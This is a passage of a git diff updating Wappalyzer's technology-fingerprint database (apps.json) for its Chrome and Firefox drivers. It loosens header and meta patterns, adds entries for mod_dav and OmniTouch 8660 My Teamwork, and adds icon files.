 			"cats": [ 1, 18 ],
-			"meta": { "generator": "Koala Web Framework CMS" },
+			"meta": { "generator": "^Koala Web Framework CMS" },
+			"html": "<!--[^>]+This website is powered by Koala Web Framework CMS",
 			"implies": "PHP"
 		},
 		"total.js": {
@@ -1253,7 +1249,7 @@
 			"cats": [ 1 ],
 			"meta": { "generator": "FlexCMP" },
 			"html": "<!--[^>]+FlexCMP[^>v]+v\\. ([\\d.]+)\\;version:\\1",
-			"headers": { "X-Powered-By": "FlexCMP.+\\[v\\. ([\\d.]+)\\;version:\\1", "X-Flex-Lang": ".+" }
+			"headers": { "X-Powered-By": "FlexCMP.+\\[v\\. ([\\d.]+)\\;version:\\1", "X-Flex-Lang": "" }
 		},
 		"FluxBB": {
 			"website": "fluxbb.org",
@@ -1347,7 +1343,7 @@
 			"website": "ghost.org",
 			"cats": [ 11 ],
 			"meta": { "generator": "Ghost(?:\\s([\\d.]+))?\\;version:\\1" },
-			"headers": { "X-Ghost-Cache-Status": ".*" }
+			"headers": { "X-Ghost-Cache-Status": "" }
 		},
 		"git": {
 			"website": "git-scm.com",
@@ -1517,7 +1513,8 @@
 		"Happy ICS Server": {
 			"website": "???",
 			"cats": [ 22 ],
-			"headers": { "Server": "Happy ICS Server(?:/([\\d.]+))?\\;version:\\1" }
+			"headers": { "Server": "Happy ICS Server(?:/([\\d.]+))?\\;version:\\1" },
+			"implies": "OmniTouch 8660 My Teamwork"
 		},
 		"HeadJS": {
 			"website": "headjs.com",
@@ -1598,7 +1595,7 @@
 		"HTTP-Server": {
 			"website": "???",
 			"cats": [ 22 ],
-			"headers": { "Server": "\\bHTTP-Server(?: ?/?V?([\\d.]+))?\\;version:\\1" }
+			"headers": { "Server": "(?:^|[^-])\\bHTTP-Server(?: ?/?V?([\\d.]+))?\\;version:\\1" }
 		},
 		"HubSpot": {
 			"website": "hubspot.com",
@@ -1631,7 +1628,7 @@
 		"IBM WebSphere Portal": {
 			"website": "ibm.com/software/websphere/portal",
 			"cats": [ 1 ],
-			"headers": { "IBM-Web2-Location": ".*", "Itx-Generated-Timestamp": ".+" },
+			"headers": { "IBM-Web2-Location": "", "Itx-Generated-Timestamp": "" },
 			"url": "/wps/",
 			"implies": "Java"
 		},
@@ -1644,7 +1641,7 @@
 		"iCongo": {
 			"website": "hybris.com/icongo",
 			"cats": [ 6 ],
-			"meta": { "iCongo": ".*" },
+			"meta": { "iCongo": "" },
 			"implies": "Adobe ColdFusion"
 		},
 		"IIS": {
@@ -2202,14 +2199,14 @@
 			"cats": [ 1 ],
 			"env": "^eidosBase$\\;confidence:99",
 			"html": "<!-- Methode uuid: \"[a-f\\d]+\" ?-->",
-			"meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": ".*" }
+			"meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" }
 		},
 		"Microsoft ASP.NET": {
 			"website": "www.asp.net",
 			"cats": [ 18 ],
 			"url": "\\.aspx(?:$|\\?)",
 			"html": "<input[^>]+name=\"__VIEWSTATE",
-			"headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "(ASPSESSION|ASP\\.NET_SessionId)" },
+			"headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" },
 			"implies": "IIS\\;confidence:50"
 		},
 		"Microsoft HTTPAPI": {
@@ -2221,7 +2218,7 @@
 			"website": "sharepoint.microsoft.com",
 			"cats": [ 1 ],
 			"meta": { "generator": "Microsoft SharePoint" },
-			"headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": ".*", "SPRequestGuid": ".*", "SharePointHealthScore": ".*" },
+			"headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" },
 			"env": "^_spBodyOnLoadCalled$"
 		},
 		"mini_httpd": {
@@ -2294,6 +2291,12 @@
 			"headers": { "Server": "mod_auth_pam(?:/([\\d\\.]+))?\\;version:\\1" },
 			"implies": "Apache"
 		},
+		"mod_dav": {
+			"website": "webdav.org/mod_dav",
+			"cats": [ 33 ],
+			"headers": { "Server": "\\b(?:mod_)?DAV\\b(?:/([\\d.]+))?\\;version:\\1" },
+			"implies": "Apache"
+		},
 		"mod_fastcgi": {
 			"website": "www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html",
 			"cats": [ 33 ],
@@ -2546,6 +2549,10 @@
 			"headers": { "Set-Cookie": "october_session=" },
 			"implies": "Laravel"
 		},
+		"OmniTouch 8660 My Teamwork": {
+			"website": "enterprise.alcatel-lucent.com",
+			"cats": [ 19 ]
+		},
 		"Open AdStream": {
 			"website": "xaxis.com",
 			"cats": [ 36 ],
@@ -2578,7 +2585,7 @@
 		"openEngine": {
 			"website": "openengine.de/html/pages/de/",
 			"cats": [ 1 ],
-			"meta": { "openEngine": ".*" }
+			"meta": { "openEngine": "" }
 		},
 		"OpenGrok": {
 			"website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome",
@@ -2643,8 +2650,7 @@
 		"Oracle HTTP Server": {
 			"website": "oracle.com",
 			"cats": [ 22 ],
-			"headers": { "Server": "Oracle-HTTP-Server(?:/([\\d.]+))?\\;version:\\1" },
-			"excludes": [ "HTTP-Server" ]
+			"headers": { "Server": "Oracle-HTTP-Server(?:/([\\d.]+))?\\;version:\\1" }
 		},
 		"Oracle Recommendations On Demand": {
 			"website": "www.oracle.com/us/products/applications/commerce/recommendations-on-demand/index.html",
@@ -2987,7 +2993,7 @@
 		"RackCache": {
 			"website": "github.com/rtomayko/rack-cache",
 			"cats": [ 23 ],
-			"headers": { "X-Rack-Cache": ".+" },
+			"headers": { "X-Rack-Cache": "" },
 			"implies": "Ruby"
 		},
 		"RAID HTTPServer": {
@@ -3247,7 +3253,7 @@
 			"website": "simgroep.nl/internet/portfolio-contentbeheer_41623/",
 			"cats": [ 1 ],
 			"script": "/sim(?:site|core)/js",
-			"meta": { "SIM.medium": ".*" }
+			"meta": { "SIM.medium": "" }
 		},
 		"Site Meter": {
 			"website": "www.sitemeter.com",
@@ -3365,14 +3371,14 @@
 		"Solodev": {
 			"website": "www.solodev.com",
 			"cats": [ 1 ],
-			"headers": { "solodev_session": ".*" },
+			"headers": { "solodev_session": "" },
 			"html": "<div class='dynamicDiv' id='dd\\.\\d\\.\\d'>",
 			"implies": "PHP"
 		},
 		"SPDY": {
 			"website": "chromium.org/spdy",
 			"cats": [ 19 ],
-			"headers": { "X-Firefox-Spdy": ".*" }
+			"headers": { "X-Firefox-Spdy": "" }
 		},
 		"Sphinx": {
 			"website": "sphinx.pocoo.org",
@@ -3395,7 +3401,7 @@
 			"website": "www.spip.net",
 			"cats": [ 1 ],
 			"meta": { "generator": "(?:^|\\s)SPIP(?:\\s([\\d.]+(?:\\s\\[\\d+\\])?))?\\;version:\\1" },
-			"headers": { "X-Spip-Cache": ".*" }
+			"headers": { "X-Spip-Cache": "" }
 		},
 		"Spree": {
 			"website": "spreecommerce.com",
@@ -3509,7 +3515,7 @@
 			"cats": [ 18 ],
 			"meta": { "generator": "Swiftlet" },
 			"html": "Powered by <a href=\"[^>]+Swiftlet",
-			"headers": { "X-Swiftlet-Cache": ".*", "X-Powered-By": "Swiftlet", "X-Generator": "Swiftlet" },
+			"headers": { "X-Swiftlet-Cache": "", "X-Powered-By": "Swiftlet", "X-Generator": "Swiftlet" },
 			"implies": "PHP"
 		},
 		"Synology DiskStation": {
@@ -3609,7 +3615,7 @@
 			"cats": [ 11 ],
 			"html": "<iframe src=\"[^>]+tumblr\\.com",
 			"url": "^https?://(?:www\\.)?[^/]+\\.tumblr\\.com/",
-			"headers": { "X-Tumblr-User": ".*" }
+			"headers": { "X-Tumblr-User": "" }
 		},
 		"TWiki": {
 			"website": "twiki.org",
@@ -3755,7 +3761,7 @@
 		"Varnish": {
 			"website": "www.varnish-cache.org",
 			"cats": [ 23 ],
-			"headers": { "X-Varnish": ".+", "X-Varnish-Age": ".+", "X-Varnish-Cache": ".+", "X-Varnish-Action": ".+", "X-Varnish-Hostname": ".+", "Via": "Varnish" }
+			"headers": { "X-Varnish": "", "X-Varnish-Age": "", "X-Varnish-Cache": "", "X-Varnish-Action": "", "X-Varnish-Hostname": "", "Via": "Varnish" }
 		},
 		"vBulletin": {
 			"website": "www.vbulletin.com",
@@ -3971,7 +3977,7 @@
 			"website": "wix.com",
 			"cats": [ 1 ],
 			"script": "static\\.wixstatic\\.com",
-			"headers": { "X-Wix-Dispatcher-Cache-Hit": ".+", "Set-Cookie": "Domain=\\.wix\\.com" },
+			"headers": { "X-Wix-Dispatcher-Cache-Hit": "", "Set-Cookie": "Domain=\\.wix\\.com" },
 			"env": "^wix(?:Events|Data|Errors)"
 		},
 		"Wolf CMS": {
diff --git a/Wappalyzer/drivers/chrome/images/icons/OmniTouch 8660 My Teamwork.png b/Wappalyzer/drivers/chrome/images/icons/OmniTouch 8660 My Teamwork.png
new file mode 100644
index 0000000..012c09d
Binary files /dev/null and b/Wappalyzer/drivers/chrome/images/icons/OmniTouch 8660 My Teamwork.png differ
diff --git a/Wappalyzer/drivers/firefox/data/apps.json b/Wappalyzer/drivers/firefox/data/apps.json
index 48473c2..8e20fc1 100644
--- a/Wappalyzer/drivers/firefox/data/apps.json
+++ b/Wappalyzer/drivers/firefox/data/apps.json
@@ -190,7 +190,7 @@
 		"Akamai": {
 			"website": "akamai.com",
 			"cats": [ 31 ],
-			"headers": { "X-Akamai-Transformed": ".*" }
+			"headers": { "X-Akamai-Transformed": "" }
 		},
 		"Allegro RomPager": {
 			"website": "allegrosoft.com/embedded-web-server-s2",
@@ -312,7 +312,7 @@
 			"website": "jfrog.com/open-source/#os-arti",
 			"cats": [ 47 ],
 			"env": "^ArtifactoryUpdates$",
-			"script": [ "wicket/resource/org\\.artifactory." ],
+			"script": [ "wicket/resource/org\\.artifactory\\." ],
 			"html": [ "<span class=\"version\">Artifactory(?: Pro)?(?: Power Pack)?(?: ([\\d.]+))?\\;version:\\1" ]
 		},
 		"AsciiDoc": {
@@ -342,8 +342,8 @@
 			"website": "www.atlassian.com/software/confluence/overview/team-collaboration-software",
 			"cats": [ 8 ],
 			"html": "Powered by <a href=[^>]+atlassian\\.com/software/confluence(?:[^>]+>Atlassian Confluence</a> ([\\d.]+))?\\;version:\\1",
-			"headers": { "X-Confluence-Request-Time": ".*" },
-			"meta": { "confluence-request-time": ".*" },
+			"headers": { "X-Confluence-Request-Time": "" },
+			"meta": { "confluence-request-time": "" },
 			"implies": "Java"
 		},
 		"Atlassian Jira": {
@@ -547,7 +547,7 @@
 		"Cargo": {
 			"website": "cargocollective.com",
 			"cats": [ 1 ],
-			"meta": { "cargo_title": ".*" },
+			"meta": { "cargo_title": "" },
 			"script": "/cargo\\.",
 			"html": "<link [^>]+Cargo feed",
 			"implies": "PHP"
@@ -575,7 +575,7 @@
 		"CacheFly": {
 			"website": "www.cachefly.com",
 			"cats": [ 31 ],
-			"headers": { "Server": "^CFS ", "X-CF1": ".+", "X-CF2": ".+" }
+			"headers": { "Server": "^CFS ", "X-CF1": "", "X-CF2": "" }
 		},
 		"cgit": {
 			"website": "git.zx2c4.com/cgit/",
@@ -688,7 +688,7 @@
 		"Commerce Server": {
 			"website": "commerceserver.net",
 			"cats": [ 6 ],
-			"headers": { "COMMERCE-SERVER-SOFTWARE": ".+" },
+			"headers": { "COMMERCE-SERVER-SOFTWARE": "" },
 			"implies": "Microsoft ASP.NET"
 		},
 		"CompaqHTTPServer": {
@@ -867,11 +867,6 @@
 			"meta": { "generator": "DataLife Engine" },
 			"implies": [ "PHP", "Apache" ]
 		},
-		"DAV": {
-			"website": "???",
-			"cats": [ 33 ],
-			"headers": { "Server": "\\bDAV\\b(?:/([\\d.]+))?\\;version:\\1" }
-		},
 		"David Webbox": {
 			"website": "www.tobit.com",
 			"cats": [ 22 ],
@@ -986,7 +981,7 @@
 			"cats": [ 1 ],
 			"meta": { "generator": "DotNetNuke" },
 			"script": "/js/dnncore\\.js",
-			"headers": { "DNNOutputCache": ".+", "X-Compressed-By": "DotNetNuke", "Set-Cookie": "DotNetNukeAnonymous=" },
+			"headers": { "DNNOutputCache": "", "X-Compressed-By": "DotNetNuke", "Set-Cookie": "DotNetNukeAnonymous=" },
 			"html": "<!-- by DotNetNuke Corporation",
 			"env": "^DotNetNuke$",
 			"implies": "Microsoft ASP.NET"
@@ -1013,7 +1008,7 @@
 			"cats": [ 1 ],
 			"script": "drupal\\.js",
 			"html": "<(?:link|style)[^>]+sites/(?:default|all)/(?:themes|modules)/",
-			"headers": { "X-Drupal-Cache": ".*", "X-Generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1", "Expires": "19 Nov 1978" },
+			"headers": { "X-Drupal-Cache": "", "X-Generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1", "Expires": "19 Nov 1978" },
 			"meta": { "generator": "Drupal(?:\\s([\\d.]+))?\\;version:\\1" },
 			"env": "^Drupal$",
 			"implies": "PHP"
@@ -1169,7 +1164,8 @@
 		"Koala Framework": {
 			"website": "koala-framework.org",
 			"cats": [ 1, 18 ],
-			"meta": { "generator": "Koala Web Framework CMS" },
+			"meta": { "generator": "^Koala Web Framework CMS" },
+			"html": "<!--[^>]+This website is powered by Koala Web Framework CMS",
 			"implies": "PHP"
 		},
 		"total.js": {
@@ -1253,7 +1249,7 @@
 			"cats": [ 1 ],
 			"meta": { "generator": "FlexCMP" },
 			"html": "<!--[^>]+FlexCMP[^>v]+v\\. ([\\d.]+)\\;version:\\1",
-			"headers": { "X-Powered-By": "FlexCMP.+\\[v\\. ([\\d.]+)\\;version:\\1", "X-Flex-Lang": ".+" }
+			"headers": { "X-Powered-By": "FlexCMP.+\\[v\\. ([\\d.]+)\\;version:\\1", "X-Flex-Lang": "" }
 		},
 		"FluxBB": {
 			"website": "fluxbb.org",
@@ -1347,7 +1343,7 @@
 			"website": "ghost.org",
 			"cats": [ 11 ],
 			"meta": { "generator": "Ghost(?:\\s([\\d.]+))?\\;version:\\1" },
-			"headers": { "X-Ghost-Cache-Status": ".*" }
+			"headers": { "X-Ghost-Cache-Status": "" }
 		},
 		"git": {
 			"website": "git-scm.com",
@@ -1517,7 +1513,8 @@
 		"Happy ICS Server": {
 			"website": "???",
 			"cats": [ 22 ],
-			"headers": { "Server": "Happy ICS Server(?:/([\\d.]+))?\\;version:\\1" }
+			"headers": { "Server": "Happy ICS Server(?:/([\\d.]+))?\\;version:\\1" },
+			"implies": "OmniTouch 8660 My Teamwork"
 		},
 		"HeadJS": {
 			"website": "headjs.com",
@@ -1598,7 +1595,7 @@
 		"HTTP-Server": {
 			"website": "???",
 			"cats": [ 22 ],
-			"headers": { "Server": "\\bHTTP-Server(?: ?/?V?([\\d.]+))?\\;version:\\1" }
+			"headers": { "Server": "(?:^|[^-])\\bHTTP-Server(?: ?/?V?([\\d.]+))?\\;version:\\1" }
 		},
 		"HubSpot": {
 			"website": "hubspot.com",
@@ -1631,7 +1628,7 @@
 		"IBM WebSphere Portal": {
 			"website": "ibm.com/software/websphere/portal",
 			"cats": [ 1 ],
-			"headers": { "IBM-Web2-Location": ".*", "Itx-Generated-Timestamp": ".+" },
+			"headers": { "IBM-Web2-Location": "", "Itx-Generated-Timestamp": "" },
 			"url": "/wps/",
 			"implies": "Java"
 		},
@@ -1644,7 +1641,7 @@
 		"iCongo": {
 			"website": "hybris.com/icongo",
 			"cats": [ 6 ],
-			"meta": { "iCongo": ".*" },
+			"meta": { "iCongo": "" },
 			"implies": "Adobe ColdFusion"
 		},
 		"IIS": {
@@ -2202,14 +2199,14 @@
 			"cats": [ 1 ],
 			"env": "^eidosBase$\\;confidence:99",
 			"html": "<!-- Methode uuid: \"[a-f\\d]+\" ?-->",
-			"meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": ".*" }
+			"meta": { "eomportal-instanceid": "\\d+", "eomportal-id": "\\d+", "eomportal-loid": "[\\d.]+", "eomportal-uuid": "[a-f\\d]+", "eomportal-lastUpdate": "" }
 		},
 		"Microsoft ASP.NET": {
 			"website": "www.asp.net",
 			"cats": [ 18 ],
 			"url": "\\.aspx(?:$|\\?)",
 			"html": "<input[^>]+name=\"__VIEWSTATE",
-			"headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "(ASPSESSION|ASP\\.NET_SessionId)" },
+			"headers": { "X-Powered-By": "ASP\\.NET\\;confidence:50", "X-AspNet-Version": "(.+)\\;version:\\1", "Set-Cookie": "ASPSESSION|ASP\\.NET_SessionId" },
 			"implies": "IIS\\;confidence:50"
 		},
 		"Microsoft HTTPAPI": {
@@ -2221,7 +2218,7 @@
 			"website": "sharepoint.microsoft.com",
 			"cats": [ 1 ],
 			"meta": { "generator": "Microsoft SharePoint" },
-			"headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": ".*", "SPRequestGuid": ".*", "SharePointHealthScore": ".*" },
+			"headers": { "MicrosoftSharePointTeamServices": "(.*)\\;version:\\1", "X-SharePointHealthScore": "", "SPRequestGuid": "", "SharePointHealthScore": "" },
 			"env": "^_spBodyOnLoadCalled$"
 		},
 		"mini_httpd": {
@@ -2294,6 +2291,12 @@
 			"headers": { "Server": "mod_auth_pam(?:/([\\d\\.]+))?\\;version:\\1" },
 			"implies": "Apache"
 		},
+		"mod_dav": {
+			"website": "webdav.org/mod_dav",
+			"cats": [ 33 ],
+			"headers": { "Server": "\\b(?:mod_)?DAV\\b(?:/([\\d.]+))?\\;version:\\1" },
+			"implies": "Apache"
+		},
 		"mod_fastcgi": {
 			"website": "www.fastcgi.com/mod_fastcgi/docs/mod_fastcgi.html",
 			"cats": [ 33 ],
@@ -2546,6 +2549,10 @@
 			"headers": { "Set-Cookie": "october_session=" },
 			"implies": "Laravel"
 		},
+		"OmniTouch 8660 My Teamwork": {
+			"website": "enterprise.alcatel-lucent.com",
+			"cats": [ 19 ]
+		},
 		"Open AdStream": {
 			"website": "xaxis.com",
 			"cats": [ 36 ],
@@ -2578,7 +2585,7 @@
 		"openEngine": {
 			"website": "openengine.de/html/pages/de/",
 			"cats": [ 1 ],
-			"meta": { "openEngine": ".*" }
+			"meta": { "openEngine": "" }
 		},
 		"OpenGrok": {
 			"website": "hub.opensolaris.org/bin/view/Project+opengrok/WebHome",
@@ -2643,8 +2650,7 @@
 		"Oracle HTTP Server": {
 			"website": "oracle.com",
 			"cats": [ 22 ],
-			"headers": { "Server": "Oracle-HTTP-Server(?:/([\\d.]+))?\\;version:\\1" },
-			"excludes": [ "HTTP-Server" ]
+			"headers": { "Server": "Oracle-HTTP-Server(?:/([\\d.]+))?\\;version:\\1" }
 		},
 		"Oracle Recommendations On Demand": {
 			"website": "www.oracle.com/us/products/applications/commerce/recommendations-on-demand/index.html",
@@ -2987,7 +2993,7 @@
 		"RackCache": {
 			"website": "github.com/rtomayko/rack-cache",
 			"cats": [ 23 ],
-			"headers": { "X-Rack-Cache": ".+" },
+			"headers": { "X-Rack-Cache": "" },
 			"implies": "Ruby"
 		},
 		"RAID HTTPServer": {
@@ -3247,7 +3253,7 @@
 			"website": "simgroep.nl/internet/portfolio-contentbeheer_41623/",
 			"cats": [ 1 ],
 			"script": "/sim(?:site|core)/js",
-			"meta": { "SIM.medium": ".*" }
+			"meta": { "SIM.medium": "" }
 		},
 		"Site Meter": {
 			"website": "www.sitemeter.com",
@@ -3365,14 +3371,14 @@
 		"Solodev": {
 			"website": "www.solodev.com",
 			"cats": [ 1 ],
-			"headers": { "solodev_session": ".*" },
+			"headers": { "solodev_session": "" },
 			"html": "<div class='dynamicDiv' id='dd\\.\\d\\.\\d'>",
 			"implies": "PHP"
 		},
 		"SPDY": {
 			"website": "chromium.org/spdy",
 			"cats": [ 19 ],
-			"headers": { "X-Firefox-Spdy": ".*" }
+			"headers": { "X-Firefox-Spdy": "" }
 		},
 		"Sphinx": {
 			"website": "sphinx.pocoo.org",
@@ -3395,7 +3401,7 @@
 			"website": "www.spip.net",
 			"cats": [ 1 ],
 			"meta": { "generator": "(?:^|\\s)SPIP(?:\\s([\\d.]+(?:\\s\\[\\d+\\])?))?\\;version:\\1" },
-			"headers": { "X-Spip-Cache": ".*" }
+			"headers": { "X-Spip-Cache": "" }
 		},
 		"Spree": {
 			"website": "spreecommerce.com",
@@ -3509,7 +3515,7 @@
 			"cats": [ 18 ],
 			"meta": { "generator": "Swiftlet" },
 			"html": "Powered by <a href=\"[^>]+Swiftlet",
-			"headers": { "X-Swiftlet-Cache": ".*", "X-Powered-By": "Swiftlet", "X-Generator": "Swiftlet" },
+			"headers": { "X-Swiftlet-Cache": "", "X-Powered-By": "Swiftlet", "X-Generator": "Swiftlet" },
 			"implies": "PHP"
 		},
 		"Synology DiskStation": {
@@ -3609,7 +3615,7 @@
 			"cats": [ 11 ],
 			"html": "<iframe src=\"[^>]+tumblr\\.com",
 			"url": "^https?://(?:www\\.)?[^/]+\\.tumblr\\.com/",
-			"headers": { "X-Tumblr-User": ".*" }
+			"headers": { "X-Tumblr-User": "" }
 		},
 		"TWiki": {
 			"website": "twiki.org",
@@ -3755,7 +3761,7 @@
 		"Varnish": {
 			"website": "www.varnish-cache.org",
 			"cats": [ 23 ],
-			"headers": { "X-Varnish": ".+", "X-Varnish-Age": ".+", "X-Varnish-Cache": ".+", "X-Varnish-Action": ".+", "X-Varnish-Hostname": ".+", "Via": "Varnish" }
+			"headers": { "X-Varnish": "", "X-Varnish-Age": "", "X-Varnish-Cache": "", "X-Varnish-Action": "", "X-Varnish-Hostname": "", "Via": "Varnish" }
 		},
 		"vBulletin": {
 			"website": "www.vbulletin.com",
@@ -3971,7 +3977,7 @@
 			"website": "wix.com",
 			"cats": [ 1 ],
 			"script": "static\\.wixstatic\\.com",
-			"headers": { "X-Wix-Dispatcher-Cache-Hit": ".+", "Set-Cookie": "Domain=\\.wix\\.com" },
+			"headers": { "X-Wix-Dispatcher-Cache-Hit": "", "Set-Cookie": "Domain=\\.wix\\.com" },
 			"env": "^wix(?:Events|Data|Errors)"
 		},
 		"Wolf CMS": {
diff --git a/Wappalyzer/drivers/firefox/data/images/icons/OmniTouch 8660 My Teamwork.png b/Wappalyzer/drivers/firefox/data/images/icons/OmniTouch 8660 My Teamwork.png
new file mode 100644
index 0000000..012c09d
Binary files /dev/null and b/Wappalyzer/drivers/firefox/data/images/icons/OmniTouch 8660 My Teamwork.png differ
diff --git a/Wappalyzer/drivers/firefox/data/images/icons/Wordpress.png b/Wappalyzer/drivers/firefox/data/images/icons/Wordpress.png
index 9ec6d00..f23c8c2 100644
Binary files a/Wappalyzer/drivers/firefox/data/images/icons/Wordpress.png and b/Wappalyzer/drivers/firefox/data/images/icons/Wordpress.png differ
diff --git a/Wappalyzer/drivers/html/images/icons/OmniTouch 8660 My Teamwork.png b/Wappalyzer/drivers/html/images/icons/OmniTouch 8660 My Teamwork.png
new file mode 100644
index 0000000..012c09d
Binary files /dev/null and b/Wappalyzer/drivers/html/images/icons/OmniTouch 8660 My Teamwork.png differ